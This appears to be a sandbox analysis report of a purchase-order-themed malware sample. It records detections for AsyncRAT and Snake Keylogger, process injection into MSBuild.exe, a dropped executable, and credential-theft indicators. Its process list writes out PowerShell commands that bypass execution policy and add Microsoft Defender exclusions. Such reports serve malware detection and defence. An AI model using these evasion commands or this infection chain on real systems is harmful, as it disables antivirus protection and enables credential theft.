Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Code function: 0_2_00007FFD344721D3	0_2_00007FFD344721D3
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Code function: 0_2_00007FFD344721FA	0_2_00007FFD344721FA
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Code function: 0_2_00007FFD3447920C	0_2_00007FFD3447920C
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Code function: 0_2_00007FFD3447B28C	0_2_00007FFD3447B28C
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Code function: 0_2_00007FFD344713B5	0_2_00007FFD344713B5
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Code function: 0_2_00007FFD34550002	0_2_00007FFD34550002
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0198C090	3_2_0198C090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_01986238	3_2_01986238
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_01985968	3_2_01985968
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_01988ED2	3_2_01988ED2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0198CE68	3_2_0198CE68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_01985220	3_2_01985220
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_01980B70	3_2_01980B70
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_02DEB490	8_2_02DEB490
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_02DEB470	8_2_02DEB470
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_08613E98	8_2_08613E98
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_04B4B490	11_2_04B4B490
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_00F02BE8	14_2_00F02BE8
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_00F0C638	14_2_00F0C638
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_00F027D4	14_2_00F027D4
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_00F05888	14_2_00F05888
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_00F05AD8	14_2_00F05AD8
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_0101C146	14_2_0101C146
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_01015362	14_2_01015362
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_0101D278	14_2_0101D278
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_0101C468	14_2_0101C468
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_0101C738	14_2_0101C738
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_0101E988	14_2_0101E988
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_010169A0	14_2_010169A0
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_0101CA08	14_2_0101CA08
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_01019DE0	14_2_01019DE0
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_0101CCD8	14_2_0101CCD8
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_0101CFA9	14_2_0101CFA9
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_01016FC8	14_2_01016FC8
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_01013E09	14_2_01013E09
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_0101F961	14_2_0101F961
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_0101E97B	14_2_0101E97B
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_010129EC	14_2_010129EC
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_010139F0	14_2_010139F0
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_01013AA1	14_2_01013AA1
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_06989C70	14_2_06989C70
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_0698FC68	14_2_0698FC68
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_06989548	14_2_06989548
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_06982288	14_2_06982288
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_06981BA8	14_2_06981BA8
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_06980B30	14_2_06980B30
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_06985028	14_2_06985028
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_06982970	14_2_06982970
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_0698E6B0	14_2_0698E6B0
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_0698E6A0	14_2_0698E6A0
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_0698DE00	14_2_0698DE00
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_0698EF51	14_2_0698EF51
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_0698EF60	14_2_0698EF60
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_0698CCA0	14_2_0698CCA0
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_0698DDFF	14_2_0698DDFF
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_0698DDF1	14_2_0698DDF1
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_0698D550	14_2_0698D550
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_0698D540	14_2_0698D540
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_0698EAF8	14_2_0698EAF8
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_0698E258	14_2_0698E258
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_0698E24A	14_2_0698E24A
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_06982278	14_2_06982278
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_06988B91	14_2_06988B91
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_0698F3B8	14_2_0698F3B8
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_06988BA0	14_2_06988BA0
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_06989BFA	14_2_06989BFA
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_0698EB08	14_2_0698EB08
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_06989328	14_2_06989328
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_06980B20	14_2_06980B20
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_06981B77	14_2_06981B77
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_0698D0F8	14_2_0698D0F8
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_0698D0E9	14_2_0698D0E9
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_06985018	14_2_06985018
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_0698F810	14_2_0698F810
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_0698F802	14_2_0698F802
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_06980006	14_2_06980006
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_06980040	14_2_06980040
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_0698D999	14_2_0698D999
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 14_2_0698D9A8	14_2_0698D9A8

Source: C:\Users\user\Desktop\BQ_PO#385995.exe

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 2244 -s 1048

Source: BQ_PO#385995.exe

Static PE information: No import functions for PE file found

Source: BQ_PO#385995.exe, 00000000.00000002.2258559792.000002760A47C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameXClNEW.exe4 vs BQ_PO#385995.exe
Source: BQ_PO#385995.exe, 00000000.00000002.2258092452.00000276089C0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameApihijiqobiboxaw> vs BQ_PO#385995.exe
Source: BQ_PO#385995.exe	Binary or memory string: OriginalFilenamePatekPorot.exe4 vs BQ_PO#385995.exe

Source: 0.2.BQ_PO#385995.exe.2760a49b688.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.BQ_PO#385995.exe.2760a493c48.3.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 3.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.BQ_PO#385995.exe.2760a49b688.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.BQ_PO#385995.exe.2760a493c48.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 3.2.MSBuild.exe.7240000.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 3.2.MSBuild.exe.7240000.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 3.2.MSBuild.exe.45b5fa8.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 3.2.MSBuild.exe.45b5fa8.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 3.2.MSBuild.exe.45b5fa8.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 3.2.MSBuild.exe.45b5fa8.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 3.2.MSBuild.exe.7240000.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 3.2.MSBuild.exe.7240000.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 14.0.ubygsn.exe.980000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 14.0.ubygsn.exe.980000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 14.0.ubygsn.exe.980000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000003.00000002.4586871157.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0000000E.00000000.2385310132.0000000000982000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000003.00000002.4616809591.0000000007240000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 00000003.00000002.4616809591.0000000007240000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 00000000.00000002.2258559792.000002760A47C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000003.00000002.4606149598.000000000441A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: Process Memory Space: MSBuild.exe PID: 6524, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: Process Memory Space: ubygsn.exe PID: 3700, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe, type: DROPPED	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe, type: DROPPED	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking

Source: BQ_PO#385995.exe

Static PE information: Section: .rsrc ZLIB complexity 0.9984774025537635

Source: BQ_PO#385995.exe, -------------.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.BQ_PO#385995.exe.2760a49b688.2.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.BQ_PO#385995.exe.2760a49b688.2.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.BQ_PO#385995.exe.2760a49b688.2.raw.unpack, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.BQ_PO#385995.exe.2760a493c48.3.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.BQ_PO#385995.exe.2760a493c48.3.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.BQ_PO#385995.exe.2760a493c48.3.raw.unpack, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: ubygsn.exe.3.dr, J-.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: ubygsn.exe.3.dr, J-.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: ubygsn.exe.3.dr, 2.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.BQ_PO#385995.exe.2760a493c48.3.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.BQ_PO#385995.exe.2760a493c48.3.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.BQ_PO#385995.exe.2760a49b688.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.BQ_PO#385995.exe.2760a49b688.2.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winEXE@15/16@4/4

Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3328:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2792:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5616:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Mutant created: \Sessions\1\BaseNamedObjects\I1KOVoZcD6Qqbmm9
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess2244

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File created: C:\Users\user\AppData\Local\Temp\ubygsn.exe

Jump to behavior

Source: BQ_PO#385995.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: BQ_PO#385995.exe

Static file information: TRID: Win64 Executable Console Net Framework (206006/5) 48.58%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\BQ_PO#385995.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: ubygsn.exe, 0000000E.00000002.4593828211.0000000003042000.00000004.00000800.00020000.00000000.sdmp, ubygsn.exe, 0000000E.00000002.4593828211.0000000003024000.00000004.00000800.00020000.00000000.sdmp, ubygsn.exe, 0000000E.00000002.4593828211.0000000003034000.00000004.00000800.00020000.00000000.sdmp, ubygsn.exe, 0000000E.00000002.4593828211.0000000003067000.00000004.00000800.00020000.00000000.sdmp, ubygsn.exe, 0000000E.00000002.4593828211.0000000003073000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: BQ_PO#385995.exe

ReversingLabs: Detection: 47%

Source: C:\Users\user\Desktop\BQ_PO#385995.exe

File read: C:\Users\user\Desktop\BQ_PO#385995.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\BQ_PO#385995.exe "C:\Users\user\Desktop\BQ_PO#385995.exe"
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 2244 -s 1048
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe'
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'msbuild.exe'
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Users\user\AppData\Local\Temp\ubygsn.exe "C:\Users\user\AppData\Local\Temp\ubygsn.exe"
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"	Jump to behavior
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe'	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'msbuild.exe'	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Users\user\AppData\Local\Temp\ubygsn.exe "C:\Users\user\AppData\Local\Temp\ubygsn.exe"	Jump to behavior

Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sppc.dll	Jump to behavior
